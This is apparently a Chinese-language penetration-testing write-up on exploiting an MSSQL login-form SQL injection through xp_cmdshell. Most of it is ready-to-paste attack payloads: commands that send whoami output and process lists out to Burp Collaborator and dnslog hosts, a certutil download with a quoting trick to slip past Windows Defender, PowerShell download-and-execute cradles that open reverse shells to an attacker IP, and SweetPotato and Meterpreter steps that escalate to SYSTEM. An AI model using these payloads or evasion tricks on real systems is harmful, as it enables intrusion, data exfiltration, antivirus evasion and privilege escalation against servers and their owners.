0x00 前言
朋友在項目中遇到這樣一個場景:MSSQL后臺登錄框注入,支持xp_cmdshell組件,站庫分離(可出網),普通權限nt service\mssqlserver,但存在Defender殺軟,暫時沒法上線和提權。
而且這臺數據庫服務器上不存在Web,所以也不能寫入Webshell;找到了后臺地址,但在sqlmap中沒有找到管理員和用戶表,直接執行os-shell會出現下圖報錯,提示不支持堆疊查詢...!

0x01 基本信息收集
利用Burp Collaborator或dnslog平臺通過dns/http外帶方式得到當前用戶權限,確定站庫分離/是否出網,而且在外帶出來的進程中發現有Defender。
注:Burpsuite抓包測試時可以用%20或+號來替代空格,如果直接用空格可能執行失敗,瀏覽器會自動轉URL編碼,但Burpsuite不會,這是個值得注意的小細節。
(1) 獲取當前用戶權限
這個注入是mssqlserver普通權限,在寫入temp臨時文件時必須指定一個可讀寫目錄,否則可能因權限問題而寫不進去,不指定目錄默認為system32,沒權限寫入。
C:\Users\Public\VideosC:\Users\Public\PicturesC:\Users\Public\DownloadsC:\Users\Public\Documents[...SNIP...] ;exec+xp_cmdshell+'cmd+/v+/c+"whoami>C:\Users\Public\Pictures\temp%26certutil+-encode+C:\Users\Public\Pictures\temp+C:\Users\Public\Pictures\temp1%26findstr+/L+/V+CERTIFICATE+C:\Users\Public\Pictures\temp1>C:\Users\Public\Pictures\temp2%26set+/p+MYVAR=<+C:\Users\Public\Pictures\temp2+%26+set+FINAL=!MYVAR!.gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net+%26+nslookup+!FINAL!%26del+C:\Users\Public\Pictures\temp*"'

注:Burp Collaborator會將返回的Base64自動轉為小寫,而Base64又是區分大小寫的,所以咱這里不能正常解碼,換個dnslog平臺就好了,建議用dig.pm。

(2) 判斷是否站庫分離
通過host_name()、@@servername分別獲取客戶端和服務端主機名來判斷是否站庫分離,當禁用堆疊查詢時可以用fn_trace_gettable、fn_xe_file_target_read_file、fn_get_audit_file實現DNS帶外。
+and+1=convert(int,(select+host_name()))+and+1=convert(int,(select+@@servername))
+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+host_name())%2b'.********.ipv6.1433.eu.org\1.trc',default))+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+@@servername)%2b'.********.ipv6.1433.eu.org\1.trc',default))


(3) 判斷是否可以出網
Python開啟一個臨時Web,然后用mshta去訪問,收到數據說明可以出網,使用其他任意可訪問HTTP的應用程序都可以,如常用的Curl、Certutil、Msiexec、Regsvr32、Bitsadmin、Powershell等。
;exec+xp_cmdshell+'cmd+/c+mshta+http://gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net'

(4) 判斷是否存在殺軟
通過以下命令可以將目標主機所有進程給帶出來,建議用dig.pm,但默認只顯示10條,想顯示所有可拷貝Token到URL訪問,這時可以看到幾個Defender相關進程。
;exec+xp_cmdshell+"for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.********.ipv6.1433.eu.org>nul"


0x02 站庫分離提權
如果站庫沒有分離,我們在拿到Webshell時一般都會先執行個馬上線,或者上傳EXP進行提權。
但這里站庫分離了,而且存在Defender,我們的大部分馬和提權EXP在上傳或執行過程中都被殺了。
(1) 遠程加載土豆提權
雖然站庫分離,但允許出外網,所以我們可以利用ExecRemoteNET遠程加載土豆進行提權。
但是不能直接加載.NET程序集來上線,可能會觸發WDF動態檢測,查殺內存中運行的shellcode。
https://github.com/m1ddl3w4r3/ExecRemoteNET
執行certutil命令將ExecRemoteNET.exe落地到目標磁盤,http/https中使用""""繞過WDF的攔截,這個項目目前還可以過靜態免殺,所以不會被查殺。
;exec+xp_cmdshell+'certutil+-urlcache+-split+-f+ht""""tp://192.168.1.110/ExecRemoteNET.exe+C:\Users\Public\Videos\RemoteNET.exe'

RemoteNET.exe成功落地,但還是存在一個問題,就是在注入點執行時沒有回顯,不太好確定咱們提權EXP是否執行成功?所以這里我們還需要先反彈個shell。
我用的powershell-reverse-shell.ps1,這個腳本反彈shell不會被WDF攔截,注意單雙引號問題;也可以用powercat.ps1,但會被AMSI攔截,需要改下才行。
https://github.com/martinsohn/PowerShell-reverse-shell
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powershell-reverse-shell.ps1')"

成功反彈shell后再利用剛落地的RemoteNET.exe遠程加載SweetPotato,這時通過回顯可以看到已經提權為SYSTEM,如果想繞WDF上線可參考其他文章。
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami"

C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a C:\ProgramData\bypass.ps1"

(2) MSF模擬令牌提權
除了上邊這種提權方式,有的MSSQL場景下我們也可以利用MSF的模擬令牌來進行提權;這里我只是給大家拓展一個思路,實戰中還是得以實際情況為準。
首先我們利用以上參考文章中的繞過方式獲取一個Meterpreter會話,如果進程列表有Ssms.exe進程則大概率可以使用Incognito擴展中的模擬令牌功能提權。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/bypass.ps1')"

只要管理員在這臺機器上使用Windows身份驗證連接到這臺數據庫服務器的MSSQL時就會保留當前登錄用戶的令牌,所以我們可以直接獲取Administrator令牌。

0x03 一些問題解決
(1) 反彈shell時如果用Linux的netcat監聽可能會出現中文字符、↑↓←→等特殊按鍵亂碼問題,我們可以嘗試使用rlwrap工具來解決這個問題。

(2) 執行powercat反彈shell時發現限制了字符長度,這里我們可以嘗試用短域名,或者是修改文件名和函數名,這里我將文件名改為1.ps1,函數名改為f。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powercat1.ps1');cmdshell+-c+192.168.1.120+-p+9527+-e+cmd"

;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).DownloadString('http://192.168.1.120/1.ps1');f+-c+192.168.1.120+-p+9527+-e+cmd"

合天網安實驗室
雁行安全團隊
一顆小胡椒
betasec
黑白之道
系統安全運維
系統安全運維
LemonSec
合天網安實驗室
骨哥說事
黑白之道
HACK之道
HACK學習呀